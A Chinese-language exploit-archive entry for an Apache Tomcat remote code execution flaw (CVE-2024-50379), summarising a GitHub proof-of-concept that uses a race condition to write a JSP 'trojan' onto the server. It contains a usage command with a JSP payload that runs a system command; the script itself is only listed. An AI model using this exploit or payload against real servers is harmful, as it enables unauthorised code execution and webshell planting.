POC详情： 74ecb43b637dcd9a484b0b22793e6277cfff789b

来源
https://github.com/gomtaengi/CVE-2024-50379-exp
关联漏洞
标题： Apache Tomcat 安全漏洞 (CVE-2024-50379)
描述：Apache Tomcat是美国阿帕奇（Apache）基金会的一款轻量级Web应用服务器。用于实现对Servlet和JavaServer Page（JSP）的支持。 Apache Tomcat存在安全漏洞。攻击者利用该漏洞可以在不区分大小写的文件系统上远程执行代码。以下版本受到影响：11.0.0-M1版本和11.0.1版本、10.1.0-M1版本至10.1.33版本和9.0.0.M1版本至9.0.97版本。
描述
CVE-2024-50379-exp
介绍
# CVE-2024-50379-exp
-  -t 条件竞争时间
-  -u 域名
-  -f 写入木马

测试发现第一次条件竞争时有很大几率会写入失败需要重新再进行一次条件竞争才会写入木马，所以脚本第一次会进行固定6秒条件竞争检测是否写入，没有会再进行用户自定义或者默认的10秒检测，生成的木马为随机md5.jsp

```
python .\CVE-2024-50379.py -u http://192.168.31.33:8888/ -f '123456<%Runtime,getRuntime().exec("calc.exe");%>' -t 10
```

![image](https://github.com/user-attachments/assets/832947e2-3b36-47bb-a638-9427bc687437)
文件快照

 [4.0K]  /data/pocs/74ecb43b637dcd9a484b0b22793e6277cfff789b
├── [8.5K]  CVE-2024-50379.py
└── [ 591]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。